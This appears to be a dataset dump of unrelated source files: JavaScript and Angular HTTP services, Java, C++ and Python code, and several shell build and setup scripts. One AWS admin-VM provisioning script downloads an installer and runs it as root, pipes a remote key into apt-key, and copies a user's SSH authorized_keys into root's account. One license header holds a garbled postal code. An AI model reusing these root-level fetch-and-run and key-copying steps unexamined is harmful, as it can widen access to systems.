text
stringlengths
1
1.05M
import util from '../../util'; import chimXHR from './xhr'; const { isFunction, isString } = util; /** * @callback ResponseCallback * @param {*} [body] - response body */ /** * Required and optional arguments for chimAJAX * request validated and mapped to object. * @typedef {object} RequestArgs * @property {string} url * @property {*} [data] * @property {ResponseCallback} [callback] * @property {string} [dataType] - data type expected in response */ /** * Validates arguments and maps them to an object. * @param {array} args - URL, and optional data, callback, dataType * @returns {RequestArgs} - arguments object */ function handleArguments(args) { const result = {}; if (!args.length || !isString(args[0])) { throw new Error('URL string argument must be provided.'); } result.url = args[0]; // all 4 args if (args.length === 4) { result.data = args[1]; result.callback = args[2]; result.dataType = args[3]; // 3 args } else if (args.length === 3) { // url, data, callback if (isFunction(args[2])) { result.data = args[1]; result.callback = args[2]; // url, callback, dataType } else if (isFunction(args[1])) { result.callback = args[1]; result.dataType = args[2]; // url, data, dataType } else if (isString(args[2])) { result.data = args[1]; result.dataType = args[2]; } // no data provided, second arg is callback } else if (isFunction(args[1])) { result.callback = args[1]; // no callback provided, second arg is data } else { result.data = args[1]; } return result; } /** * Public interface for the AJAX module, exposing * HTTP methods GET, POST, & PUT. * @type {object} * @property {httpGet} get * @property {httpPost} post * @property {httpPut} put */ const chimAJAX = { /** * Sends a GET request to the provided URL. If a * data parameter is included, serialized data is sent * along with the request. * @function httpGet * @param {...*} args - URL, [data, [callback, [dataType]]] * @returns {void} */ get(...args) { const { url, data, callback, dataType } = handleArguments(args); console.log('Sending GET to', url, '...'); const xhr = new chimXHR(url, dataType); xhr.addQueryParams(data); xhr.openRequest('GET'); xhr.setContentType('application/www-form-urlencoded; charset=UTF-8'); xhr.sendRequest(); xhr.handleResponse(callback); }, /** * Sends a POST request to the provided URL. If a * data parameter is included, serialized data is sent * along with the request in query parameter or JSON format. * @function httpPost * @param {...*} args - URL, [data, [callback, [dataType]]] * @returns {void} */ post(...args) { const { url, data, callback, dataType } = handleArguments(args); console.log('Sending POST to', url, '...'); const xhr = new chimXHR(url, dataType); if (Array.isArray(data) || isString(data) || !data) { xhr.addQueryParams(data); xhr.openRequest('POST'); xhr.setContentType('application/www-form-urlencoded; charset=UTF-8'); xhr.sendRequest(); } else { xhr.openRequest('POST'); xhr.setContentType('application/json'); xhr.sendRequest(JSON.stringify(data)); } xhr.handleResponse(callback); }, /** * Sends a PUT request to the provided URL. Data is serialized * and sent along with the request in JSON format. * @function httpPut * @param {...*} args - URL, data, [callback, [dataType]] * @returns {void} */ put(...args) { const { url, data, callback, dataType } = handleArguments(args); if (!data) { throw new Error('A PUT request must include data.'); } console.log('Sending PUT to', url, '...'); const xhr = new chimXHR(url, dataType); if (Array.isArray(data) || isString(data) || !data) { xhr.addQueryParams(data); xhr.openRequest('PUT'); xhr.setContentType('application/www-form-urlencoded; charset=UTF-8'); xhr.sendRequest(); } else { xhr.openRequest('PUT'); xhr.setContentType('application/json'); xhr.sendRequest(JSON.stringify(data)); } xhr.handleResponse(callback); } }; export default chimAJAX;
<filename>C2CRIBuildDir/projects/C2C-RI/src/jameleon-test-suite-3_3-RC1-C2CRI/jameleon-core/tst/java/net/sf/jameleon/event/TestFunctionListener.java /* Jameleon - An automation testing tool.. Copyright (C) 2005 <NAME> (<EMAIL>) This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111AssertLevel.NO_FUNCTION07 USA */ package net.sf.jameleon.event; public class TestFunctionListener implements FunctionListener { public boolean beginFunctionCalled, endFunctionCalled; public FunctionEvent beginFunctionEvent, endFunctionEvent; public void beginFunction(FunctionEvent event, int rowNum) { beginFunctionCalled = true; beginFunctionEvent = event; } public void endFunction(FunctionEvent event, int rowNum) { endFunctionCalled = true; endFunctionEvent = event; } public void reset(){ beginFunctionCalled = false; beginFunctionEvent = null; endFunctionCalled = false; endFunctionEvent = null; } }
<reponame>codeaholicguy/coderschool-restaurant json.extract! @coupon, :id, :code, :discount_rate, :created_at, :updated_at
import { Injectable } from '@angular/core'; import { User, UserData } from '../models/user'; import { UserFactoryService } from '../factories/user-factory.service'; import 'rxjs/add/operator/toPromise'; import { ApiResponse } from '../responses/api-response'; import * as Bluebird from 'bluebird'; import { PromisedHttpService } from './promised-http.service'; import { IsLoggedInResponse } from '../responses/is-logged-in-response'; import { IsLoggedInParsedResponse } from '../responses/is-logged-in-parsed-response'; import { LogInResponse } from '../responses/log-in-response'; @Injectable() export class AuthApiService { private static readonly LOGIN_URL = 'api/users/login'; private static readonly LOGOUT_URL = 'api/users/logout'; private static readonly IS_LOGGED_IN_URL = 'api/users/isLoggedIn'; constructor(private promisedHttpService: PromisedHttpService, private userFactoryService: UserFactoryService) { } logIn(data: LoginData): Bluebird<User> { return this.promisedHttpService.post(AuthApiService.LOGIN_URL, data, { responseType: 'json' }).then((response: LogInResponse) => { return this.userFactoryService.make({ name: response.userName }); }); } logOut(): Bluebird<ApiResponse> { return this.promisedHttpService.post(AuthApiService.LOGOUT_URL, undefined, { responseType: 'json' }) as Bluebird<ApiResponse>; } isLoggedIn(): Bluebird<IsLoggedInParsedResponse> { return this.promisedHttpService.post(AuthApiService.IS_LOGGED_IN_URL, undefined, { responseType: 'json' }).then((response: IsLoggedInResponse) => { const loggedIn = response.loggedIn; if (response.loggedIn) { const loggedInUser = this.userFactoryService.make({ name: response.userName }); return { loggedInUser, loggedIn }; } return response; }) as Bluebird<IsLoggedInParsedResponse>; } } export interface LoginData { userName: string; }
from rest_framework import serializers from .models import Player class PlayerSerializer(serializers.HyperlinkedModelSerializer): POSITION_CHOICES = ( ('F', 'Forward'), ('M', 'Midfielder'), ('D', 'Defender'), ('GK', 'Goalkeeper'), ) position = serializers.ChoiceField(choices=POSITION_CHOICES) class Meta: model = Player fields = ('id', 'url', 'name', 'age', 'team', 'position')
#!/bin/bash #SUB_FOLDER="/home/ubuntu/cloud-automation/" MAGIC_URL="http://169.254.169.254/latest/meta-data/" if [ $# -eq 0 ] then echo "No arguments supplied" else #OIFS=$IFS IFS=';' read -ra ADDR <<< "$1" for i in "${ADDR[@]}"; do if [[ $i = *"account_id"* ]]; then ACCOUNT_ID="$(echo ${i} | cut -d= -f2)" fi done echo $1 fi #CSOC-ACCOUNT-ID=$(${AWS} sts get-caller-identity --output text --query 'Account') sudo apt install -y curl jq python-pip apt-transport-https ca-certificates software-properties-common fail2ban libyaml-dev #sudo pip install --upgrade pip #ACCOUNT_ID=$(curl -s ${MAGIC_URL}iam/info | jq '.InstanceProfileArn' |sed -e 's/.*:://' -e 's/:.*//') # Let's install awscli and configure it # Adding AWS profile to the admin VM sudo pip install awscli sudo mkdir -p /home/ubuntu/.aws cat <<EOT >> /home/ubuntu/.aws/config [default] output = json region = us-east-2 role_session_name = gen3-adminvm role_arn = arn:aws:iam::${ACCOUNT_ID}:role/csoc_adminvm credential_source = Ec2InstanceMetadata [profile csoc] output = json region = us-east-2 role_session_name = gen3-adminvm role_arn = arn:aws:iam::${ACCOUNT_ID}:role/csoc_adminvm credential_source = Ec2InstanceMetadata EOT sudo chown ubuntu:ubuntu -R /home/ubuntu # configure SSH properly sudo cp $(dirname $0)/sshd_config /etc/ssh/sshd_config sudo chown root:root /etc/ssh/sshd_config sudo chmod 0644 /etc/ssh/sshd_config sudo mkdir -p /usr/local/etc/ssh sudo cp $(dirname $0)/krlfile /usr/local/etc/ssh/krlfile sudo chown root:root /usr/local/etc/ssh/krlfile sudo chmod 0600 /usr/local/etc/ssh/krlfile cat /home/ubuntu/.ssh/authorized_keys > /root/.ssh/authorized_keys sudo systemctl restart sshd HOSTNAME_BIN=$(which hostname) HOSTNAME=$(${HOSTNAME_BIN}) PYTHON=$(which python) # download and install awslogs sudo wget -O /tmp/awslogs-agent-setup.py https://s3.amazonaws.com/aws-cloudwatch/downloads/latest/awslogs-agent-setup.py sudo chmod 775 /tmp/awslogs-agent-setup.py sudo mkdir -p /var/awslogs/etc/ sudo cp $(dirname $0)/awslogs.conf /var/awslogs/etc/awslogs.conf curl -s ${MAGIC_URL}placement/availability-zone > /tmp/EC2_AVAIL_ZONE sudo ${PYTHON} /tmp/awslogs-agent-setup.py --region=$(awk '{print substr($0, 1, length($0)-1)}' /tmp/EC2_AVAIL_ZONE) --non-interactive -c $(dirname $0)/awslogs.conf sudo systemctl disable awslogs sudo chmod 644 /etc/init.d/awslogs ## now lets configure it properly sudo sed -i 's/SERVER/auth-{hostname}-{instance_id}/g' /var/awslogs/etc/awslogs.conf sudo sed -i 's/VPC/'${HOSTNAME}'/g' /var/awslogs/etc/awslogs.conf cat >> /var/awslogs/etc/awslogs.conf <<EOM [syslog] datetime_format = %b %d %H:%M:%S file = /var/log/syslog log_stream_name = syslog-{hostname}-{instance_id} time_zone = LOCAL log_group_name = ${HOSTNAME} EOM sudo chmod 755 /etc/init.d/awslogs sudo systemctl enable awslogs sudo systemctl restart awslogs ########## Admin VM stuff ################ # Install docker from sources curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" sudo apt update sudo apt install -y docker-ce sudo mkdir -p /etc/docker sudo cp $(dirname $0)/daemon-daemon.json /etc/docker/daemon.json sudo chmod -R 0644 /etc/docker sudo usermod -a -G docker ubuntu sudo mkdir -p /etc/systemd/system/docker.service.d sudo cp $(dirname $0)/docker-proxy.conf /etc/systemd/system/docker.service.d/http-proxy.conf sudo systemctl daemon-reload sudo systemctl restart docker # More basic packages sudo apt-get -y install xz-utils bzip2 gnupg wget graphviz unzip # Terraform ## assuming we always want the latest stable version #sudo wget -O /tmp/terraform.zip $(echo "https://releases.hashicorp.com/terraform/$(curl -s https://checkpoint-api.hashicorp.com/v1/check/terraform | jq -r -M '.current_version')/terraform_$(curl -s https://checkpoint-api.hashicorp.com/v1/check/terraform | jq -r -M '.current_version')_linux_amd64.zip") ## Otherwise get an specific version sudo wget -O /tmp/terraform.zip https://releases.hashicorp.com/terraform/0.11.10/terraform_0.11.10_linux_amd64.zip sudo unzip /tmp/terraform.zip -d /tmp sudo mv /tmp/terraform /usr/local/bin sudo chmod +x /usr/local/bin/terraform #sudo cat <<EOT >> /home/ubuntu/.bashrc #export GEN3_HOME="/home/ubuntu/cloud-automation" #if [ -f "\$${GEN3_HOME}/gen3/gen3setup.sh" ]; then # source "\$${GEN3_HOME}/gen3/gen3setup.sh" #fi #EOT echo "export GEN3_HOME=\"/home/ubuntu/cloud-automation\" if [ -f \"\${GEN3_HOME}/gen3/gen3setup.sh\" ]; then source \"\${GEN3_HOME}/gen3/gen3setup.sh\" fi" | sudo tee --append /home/ubuntu/.bashrc export GEN3_HOME="/home/ubuntu/cloud-automation" if [ -f "${GEN3_HOME}/gen3/gen3setup.sh" ]; then source "${GEN3_HOME}/gen3/gen3setup.sh" fi gen3 kube-setup-workvm
import Application from './app/Application'; var app = new Application();
<reponame>ringingmaster/ringingmaster-util-javafx package org.ringingmaster.util.javafx.grid.model; /** * TODO comments ??? * * @author <NAME> */ public interface CellModel extends Iterable<CharacterModel> { int getLength(); CharacterModel getCharacterModel(int index); void insertCharacter(int index, String character); void removeCharacter(int index); }
<reponame>acidicMercury8/xray-1.5<gh_stars>1-10 //////////////////////////////////////////////////////////////////////////// // Module : smart_cover.cpp // Created : 16.08.2007 // Author : <NAME> // Description : Smart cover class //////////////////////////////////////////////////////////////////////////// #include "pch_script.h" #include "smart_cover.h" #include "smart_cover_storage.h" #include "smart_cover_object.h" #include "ai_object_location.h" #include "smart_cover_action.h" #include "ai_space.h" #include "level_graph.h" #include "graph_engine.h" namespace hash_fixed_vertex_manager { IC u32 to_u32 (shared_str const &string) { const str_value *get = string._get(); return (*(u32 const*)&get); } } // namespace hash_fixed_vertex_manager namespace smart_cover { shared_str transform_vertex(shared_str const &vertex_id, bool const &in); } // namespace smart_cover using smart_cover::cover; using smart_cover::description; using smart_cover::transform_vertex; cover::cover (smart_cover::object const &object, DescriptionPtr description, bool const &is_combat_cover) : inherited (object.Position(), object.ai_location().level_vertex_id()), m_object (object), m_description (description), m_id (m_object.cName()), m_is_combat_cover (is_combat_cover) { m_is_smart_cover = 1; CLevelGraph const &graph = ai().level_graph(); m_vertices.resize (loopholes().size()); Vertices::iterator i = m_vertices.begin(); Loopholes::const_iterator I = loopholes().begin(); Loopholes::const_iterator E = loopholes().end(); for ( ; I != E; ++I, ++i) { Fvector position = this->fov_position(**I); position.y += 2.0f; u32 level_vertex_id = graph.vertex_id(position); VERIFY2 ( graph.valid_vertex_id(level_vertex_id), make_string( "invalid vertex id: smart cover[%s], loophole [%s]", m_object.cName().c_str(), (*I)->id().c_str() ) ); vertex (**I, (*i).second); const_cast<loophole*&>((*i).first) = *I; } #ifdef DEBUG check_loopholes_connectivity(); #endif // DEBUG } cover::~cover () { } void cover::vertex (smart_cover::loophole const &loophole, smart_cover::loophole_data &loophole_data) { CLevelGraph const &graph = ai().level_graph(); Fvector pos = fov_position(loophole); pos.y += 2.0f; loophole_data.m_level_vertex_id = graph.vertex_id(pos); VERIFY2 ( graph.valid_vertex_id(loophole_data.m_level_vertex_id), make_string( "invalid vertex id: smart cover[%s], loophole [%s]", m_object.cName().c_str(), loophole.id().c_str() ) ); typedef loophole::ActionList::const_iterator const_iterator; const_iterator I = loophole.actions().begin(); const_iterator E = loophole.actions().end(); for ( ; I != E; ++I ) if((*I).second->movement()) { Fvector pos = position((*I).second->target_position()); pos.y += 2.0f; u32 level_vertex_id = graph.vertex_id(pos); VERIFY2 ( graph.valid_vertex_id(level_vertex_id), make_string( "invalid vertex id: loophole [%s]", loophole.id().c_str() ) ); loophole_data.m_action_vertices.push_back(std::make_pair((*I).first, level_vertex_id)); } } class id_predicate { shared_str m_id; public: IC id_predicate(shared_str const &id) : m_id (id) { } IC bool operator() (cover::Vertex const &vertex) const { return (m_id._get() == vertex.first->id()._get()); } IC bool operator() (smart_cover::loophole_data::Action const &action) const { return (m_id._get() == action.first._get()); } }; u32 const &cover::action_level_vertex_id(smart_cover::loophole const &loophole, shared_str const &action_id) const { Vertices::const_iterator found = std::find_if( m_vertices.begin(), m_vertices.end(), id_predicate(loophole.id()) ); VERIFY (found != m_vertices.end()); loophole_data::ActionVertices::const_iterator found2 = std::find_if( found->second.m_action_vertices.begin(), found->second.m_action_vertices.end(), id_predicate(action_id) ); VERIFY (found2 != found->second.m_action_vertices.end()); VERIFY (ai().level_graph().valid_vertex_id(found2->second)); return (found2->second); } smart_cover::loophole *cover::best_loophole (Fvector const &position, float &value, bool const &use_default_behaviour) const { value = flt_max; loophole *result = 0; Loopholes::const_iterator I = loopholes().begin(); Loopholes::const_iterator E = loopholes().end(); for ( ; I != E; ++I) { loophole *loophole = (*I); if (use_default_behaviour) evaluate_loophole_for_default_usage (position, loophole, result, value); else evaluate_loophole (position, loophole, result, value); } return (result); } void cover::evaluate_loophole (Fvector const &position, smart_cover::loophole * &source, smart_cover::loophole * &result, float &value) const { VERIFY ( source ); VERIFY2 ( _valid(position), make_string("[%f][%f][%f]", VPUSH(position)) ); if (!source->usable()) return; Fvector fov_position = this->fov_position(*source); VERIFY2 ( _valid(fov_position), make_string("[%f][%f][%f]", VPUSH(fov_position)) ); if (fov_position.distance_to(position) > source->range()) return; Fvector direction = Fvector().sub(position, fov_position); VERIFY2 ( _valid(direction), make_string("[%f][%f][%f]", VPUSH(direction)) ); if (direction.magnitude() < 1.f) return; direction.normalize (); float cos_alpha = this->fov_direction(*source).dotproduct(direction); float alpha = _abs(acosf(cos_alpha)); if (alpha >= source->fov()/2) return; if (alpha >= value) return; value = 2.f*alpha/source->fov(); result = source; } void cover::evaluate_loophole_for_default_usage (Fvector const &position, smart_cover::loophole * &source, smart_cover::loophole * &result, float &value) const { VERIFY (source); if (!source->usable()) return; Fvector fov_position = this->fov_position(*source); Fvector direction = Fvector().sub(position, fov_position); direction.normalize_safe (); float cos_alpha = this->fov_direction(*source).dotproduct(direction); float alpha = acosf(cos_alpha); if (alpha >= value) return; value = alpha; result = source; } struct loophole_predicate { smart_cover::loophole const *m_loophole; IC loophole_predicate (smart_cover::loophole const *loophole) : m_loophole (loophole) { } IC bool operator() (cover::Vertex const &vertex) const { return (vertex.first == m_loophole); } }; u32 const &cover::level_vertex_id (smart_cover::loophole const &loophole) const { Vertices::const_iterator I = std::find_if(m_vertices.begin(), m_vertices.end(), loophole_predicate(&loophole)); VERIFY (I != m_vertices.end()); return ((*I).second.m_level_vertex_id); } #ifdef DEBUG bool cover::loophole_path (shared_str const &source_raw, shared_str const &target_raw) const { shared_str source = transform_vertex(source_raw, true); shared_str target = transform_vertex(target_raw, false); typedef GraphEngineSpace::CBaseParameters CBaseParameters; CBaseParameters parameters(u32(-1),u32(-1),u32(-1)); bool result = ai().graph_engine().search( m_description->transitions(), source, target, 0, parameters ); VERIFY2 ( result, make_string ( "failde to find loophole path [%s]->[%s] in cover [%s]", source.c_str(), target.c_str(), m_description->table_id().c_str() ) ); return (result); } void cover::check_loopholes_connectivity () const { VERIFY (!loopholes().empty()); shared_str enter = transform_vertex("", true); shared_str exit = transform_vertex("", false); Loopholes::const_iterator I = loopholes().begin(); Loopholes::const_iterator E = loopholes().end(); for ( ; I != E; ++I) { shared_str const &lhs = (*I)->id(); Loopholes::const_iterator J = I + 1; for ( ; J != E; ++J) { shared_str const &rhs = (*J)->id(); VERIFY2 ( loophole_path(lhs, rhs), make_string( "failed to find path [%s -> %s] in smart_cover [%s]", lhs.c_str(), rhs.c_str(), m_description->table_id().c_str() ) ); VERIFY2 ( loophole_path(rhs, lhs), make_string( "failed to find path [%s -> %s] in smart_cover [%s]", rhs.c_str(), lhs.c_str(), m_description->table_id().c_str() ) ); } VERIFY2 ( loophole_path(lhs, exit), make_string( "failed to find path [%s -> %s] in smart_cover [%s]", lhs.c_str(), exit.c_str(), m_description->table_id().c_str() ) ); VERIFY2 ( loophole_path(enter, lhs), make_string( "failed to find path [%s -> %s] in smart_cover [%s]", enter.c_str(), lhs.c_str(), m_description->table_id().c_str() ) ); } } #endif // DEBUG bool cover::is_position_in_fov (smart_cover::loophole const &source, Fvector const &position) const { Fvector fov_position = this->fov_position(source); Fvector direction = Fvector().sub(position, fov_position); if (direction.magnitude() < 1.f) return (false); direction.normalize (); float cos_alpha = this->fov_direction(source).dotproduct(direction); float alpha = acosf(cos_alpha); if (alpha >= source.fov()/2) return (false); return (true); } bool cover::is_position_in_range (smart_cover::loophole const &source, Fvector const &position) const { Fvector fov_position = this->fov_position(source); if (fov_position.distance_to(position) > source.range()) return (false); return (true); } bool cover::in_min_acceptable_range (smart_cover::loophole const &source, Fvector const &position, float const &min_range) const { Fvector fov_position = this->fov_position(source); if (fov_position.distance_to(position) < min_range) return (false); return (true); }
<filename>CounterP2.java import greenfoot.*; import java.awt.Color; public class CounterP2 extends Actor { int score = 0; int life = 20; public void act() { setImage(new GreenfootImage("Player 2: " + (35 - score) + " HP: " + life, 24, Color.GREEN, Color.BLACK)); if(score >= 35) { YouWin(); } if (life <= 0) { GameOver(); } } public void YouWin() { Greenfoot.setWorld(new Player2Win()); } public void GameOver() { Greenfoot.setWorld(new Player1Win()); } public void addScore() { score++; } public void snakeHit() { life--; } public void addLife() { life = life + 5; } }
<reponame>PetukhovVictor/compiler2 from ...Helpers.environment import Environment from ...Helpers.common import BoxedArrayWrap, UnboxedArrayWrap def object_val(env, node): if node.object_name == 'this': value = Environment.context_objects[-1].get_var(node.prop_name) else: obj = Environment(env).get(node.object_name) value = obj.get_var(node.prop_name) if node.other_prop_names: for other_prop_name in node.other_prop_names: if isinstance(value, UnboxedArrayWrap) or isinstance(value, BoxedArrayWrap): other_index = other_prop_name.interpret(value.env) value = value[other_index] else: value = value.get_var(other_prop_name) return value def object_method(env, node): if node.object_name == 'this': method = Environment.context_objects[-1].get_method(node.method_name) else: obj = Environment(env).get(node.object_name) method = obj.get_method(node.method_name) func_env = Environment(env).create(env['f']) args = method['args'].interpret() call_args_interpreted = node.call_args.interpret() args_counter = 0 for arg in args: func_env['v'][arg] = call_args_interpreted[args_counter].interpret(env) args_counter += 1 method['body'].interpret(func_env) return func_env['r']
ls -t /home/ubuntu/src/reinforcement_learning/output | grep "weight.*\.h5" | tail -n +6 | xargs -I {} rm /home/ubuntu/src/reinforcement_learning/output/{} ls -t /home/ubuntu/src/reinforcement_learning/output | grep "model.*\.json" | tail -n +6 | xargs -I {} rm /home/ubuntu/src/reinforcement_learning/output/{}
import App from "./App"; import Callout from "./Callout"; import Form from "./Form"; import ShoutboxLauncher from "./ShoutboxLauncher"; export { App, Callout, Form, ShoutboxLauncher };
#!/bin/bash base=$(dirname $(readlink -f $(which java))) if [ -e $base/../../include ]; then echo $base/../../include elif [ -e $base/../include ]; then echo $base/../include else echo 'Java include not found.' >&2 echo 'Use "make JAVA_INC=<folder with jni.h>"' >&2 exit 1 fi
/** * @author ooooo * @date 2021/4/10 11:48 */ #ifndef CPP_10_03__SOLUTION1_H_ #define CPP_10_03__SOLUTION1_H_ #include <iostream> #include <vector> using namespace std; class Solution { public: int search(vector<int> &arr, int target) { int n = arr.size(); int l = 0, r = n - 1; int ans = INT_MAX; while (l <= r) { int mid = l + (r - l) / 2; if (arr[l] < arr[mid]) { if (arr[l] <= target && target <= arr[mid]) { auto it = lower_bound(arr.begin() + l, arr.begin() + mid + 1, target); if (it != arr.end() && *it == target) { ans = min(ans, (int) (it - arr.begin())); } } l = mid + 1; } else if (arr[mid] < arr[r]) { if (arr[mid] <= target && target <= arr[r]) { auto it = lower_bound(arr.begin() + mid, arr.begin() + r + 1, target); if (it != arr.end() && *it == target) { ans = min(ans, (int) (it - arr.begin())); } } r = mid; } else { while (l <= r) { if (arr[l] == target) { ans = min(l, ans); } l++; } } } return ans == INT_MAX ? -1 : ans; } }; #endif //CPP_10_03__SOLUTION1_H_
#!/bin/sh sudo apt-get install build-essential gcc gfortran scons \ liblapack-pic liblapack-dev libnetcdf-dev libnetcdfc7 netcdf-bin \ libscotch-dev libscotchmetis-dev libscotch-5.1 \ python2.7 python2.7-dev cython python-numpy python-nose gmsh python-vtk \ python-pygraphviz python-sphinx python-sphinxcontrib.issuetracker \ mercurial
// Copyright (c) 2017, <NAME>. // All rights reserved. // License: "BSD-3-Clause" var results = []; var expected = []; var r = eval("var x=0; \ L1:{'A'; \ while(true){ \ if(++x === 1) 'B'; \ else break L1; \ } \ }"); results.push(r); expected.push('A'); [results, expected, "DONE"];
<filename>src/components/vn/ItemCard.tsx<gh_stars>100-1000 /** * TODO: in Vulcan Meteor we already have a Card component, we will need to make it * available in Vulcan NPM as well * * This component will be removed when this is done */ import { getReadableFields } from "@vulcanjs/schema"; export const ItemCard = ({ document, model }) => { const readableFields = getReadableFields(model.schema); return ( <div> {readableFields.map((field) => document[field] ? ( <p key={document._id + field}> <strong>{field}:</strong> {document[field]} </p> ) : null )} </div> ); };
# bin/bash ROOT="$( cd "$( dirname "${BASH_SOURCE[0]}" )/../.." && pwd )" PLAN="infrastructure.plan" GOOGLE_KEY_FILE=$ROOT/infrastructure/google-sa.json if [ -f ${GOOGLE_KEY_FILE} ]; then export GOOGLE_APPLICATION_CREDENTIALS=$GOOGLE_KEY_FILE fi command cd "$ROOT/infrastructure" command terraform apply -input=false -auto-approve "${PLAN}"
python translate.py -gpu 1 \ -batch_size 8 \ -beam_size 4 \ -model model_himap_new500/himap_2_step_20000.pt \ -src /home/mkrilov/Thesis/data/multi_news/multi-news-original-src-cleaned-no-newlinechar-word_tokenizer_500/test.src.cleaned.tokenized.truncated500 \ -output output_himap_new500/himap_2_step_20000_full.output \ -min_length 200 \ -max_length 300 \ -stepwise_penalty \ -coverage_penalty summary \ -beta 5 \ -length_penalty wu \ -alpha 0.9 \ -verbose \ -block_ngram_repeat 3 \ -ignore_when_blocking "story_separator_special_tag"
import React from 'react'; export default function Banner() { return ( <div> <h1><NAME></h1> <p>Freelance Frontend Web Developer</p> </div> ); } Banner.displayName = 'Banner';
#!/bin/bash OPENJPEG_REPO="https://github.com/uclouvain/openjpeg.git" OPENJPEG_COMMIT="6a29f5a9e3a1e2dbf1e3df22b7e449bc1db20b5c" ffbuild_enabled() { return 0 } ffbuild_dockerbuild() { git-mini-clone "$OPENJPEG_REPO" "$OPENJPEG_COMMIT" openjpeg cd openjpeg mkdir build && cd build cmake -DCMAKE_TOOLCHAIN_FILE="$FFBUILD_CMAKE_TOOLCHAIN" -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX="$FFBUILD_PREFIX" -DBUILD_SHARED_LIBS=OFF -DBUILD_PKGCONFIG_FILES=ON -DBUILD_CODEC=OFF -DWITH_ASTYLE=OFF -DBUILD_TESTING=OFF .. make -j4 make install } ffbuild_configure() { echo --enable-libopenjpeg } ffbuild_unconfigure() { echo --disable-libopenjpeg }
/* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License * 2.0 and the Server Side Public License, v 1; you may not use this file except * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ // THIS IS A GENERATED FILE. DO NOT MODIFY MANUALLY. @see scripts/compile-icons.js import * as React from 'react'; interface SVGRProps { title?: string; titleId?: string; } const EuiIconIndexMapping = ({ title, titleId, ...props }: React.SVGProps<SVGSVGElement> & SVGRProps) => ( <svg xmlns="http://www.w3.org/2000/svg" width={16} height={16} viewBox="0 0 16 16" aria-labelledby={titleId} {...props} > {title ? <title id={titleId}>{title}</title> : null} <path d="M8 8H4.915a1.5 1.5 0 110-1H8V2.5A1.5 1.5 0 019.5 1h2.585a1.5 1.5 0 110 1H9.5a.5.5 0 00-.5.5v10a.5.5 0 00.5.5h2.585a1.5 1.5 0 110 1H9.5A1.5 1.5 0 018 12.5V8zM3.5 3a1.5 1.5 0 110-3 1.5 1.5 0 010 3zm0 12a1.5 1.5 0 110-3 1.5 1.5 0 010 3zm10-6a1.5 1.5 0 110-3 1.5 1.5 0 010 3z" /> </svg> ); export const icon = EuiIconIndexMapping;
import { Http, Response, Headers, RequestOptions } from '@angular/http'; import { Injectable } from '@angular/core'; import 'rxjs/add/operator/map'; import { Observable } from 'rxjs'; @Injectable () export class ApiService { url: string; headers: Headers; options: RequestOptions; constructor (private http: Http) { this.url = 'http://news-feed-system.herokuapp.com/api/'; this.headers = new Headers({ "Authorization": "JWT " + localStorage.getItem("jwttoken"), "Content-Type": 'application/json' }); this.options = new RequestOptions({headers: this.headers}); }; get(path: string, id?: number): Observable<Response>{ return this.http .get(this.url + path + '/') .map((res: Response) => res.json()); } getWeather(path: string): Observable<Response>{ return this.http .get(path) .map((res: Response) => res.json()); } post(path: string, post_object: Object): Observable<Response>{ return this.http .post(this.url + path + '/create/', post_object, this.options) .map((res: Response) => res.json()); } register(path: string, post_object: Object): Observable<Response>{ return this.http .post(this.url + path + '/create/', post_object) .map((res: Response) => res.json()); } update(path: string, id: number, put_object: Object): Observable<Response>{ return this.http .put(this.url + path + '/' + id + '/update/', put_object, this.options) .map((res: Response) => res.json()); } delete(path: string, id: number): Observable<Response>{ return this.http .delete(this.url + path + '/' + id + '/destroy/', this.options) .map((res: Response) => res.json()); } getLoginToken(user_login_object: Object): Observable<Response>{ //user_login_object = JSON.stringify(user_login_object); console.log(user_login_object); return this.http .post(this.url + 'users/login/', user_login_object, this.headers) .map((res: Response) => res.json()); } getLoginUser(): Observable<Response>{ return this.http .get(this.url + 'users/current/', this.options) .map((res: Response) => res.json()); } }
<reponame>unixing/springboot_chowder<gh_stars>10-100 package com.oven.log; import lombok.extern.slf4j.Slf4j; import org.joda.time.DateTime; import org.springframework.boot.CommandLineRunner; import org.springframework.stereotype.Component; import java.util.concurrent.TimeUnit; @Slf4j @Component public class InfoLog implements CommandLineRunner { @Override public void run(String... args) throws Exception { while (true) { log.info("--------------------------- 打印日志了。。。" + new DateTime().toString("HH:mm:ss")); TimeUnit.SECONDS.sleep(2); } } }
import { Injectable } from '@angular/core'; import { HttpClient } from "@angular/common/http"; @Injectable({ providedIn: 'root' }) export class NetworkOperatorService { constructor(private http: HttpClient) { } /** * gibt ein JSON Objekt mit allen Netzbetreibern zurück / returns a JSON object with all network operators * (id,name) * @returns{any} */ // not used getNetworkOperator(): any { return this.http.get('/apiV2/netzbetreiber'); } // get all Network Operators getNetworkOperators(data: any): any { return this.http.get('/apiV2/netzbetreiber/getAll', data); } getNetworkOperatorNames(data: any): any { return this.http.get('/apiV2/netzbetreiber/getAllNames', data); } // Contracts getNetworkOperatorContracts(data: any): any { return this.http.post('/apiV2/netzbetreiberr/getAllContracts', data); } addNetworkOperator(data: any): any { return this.http.post('/apiV2/netzbetreiber/createNetworkOperator', data); } editNetworkOperator(data: any): any { return this.http.post('/apiV2/netzbetreiber/updateNetworkOperator', data); } deleteNetworkOperator(id: string): any { return this.http.get('/apiV2/netzbetreiber/deleteNetworkOperator/' + id); } activateNetworkOperator(data: any): any { return this.http.post('/apiV2/netzbetreiber/activate', data); } inActivateNetworkOperator(data: any): any { return this.http.post('/apiV2/netzbetreiber/deactivate', data); } getNetworkOperatorStores(data: any): any { return this.http.get('/apiV2/netzbetreiberr/getAllStores', data); } }
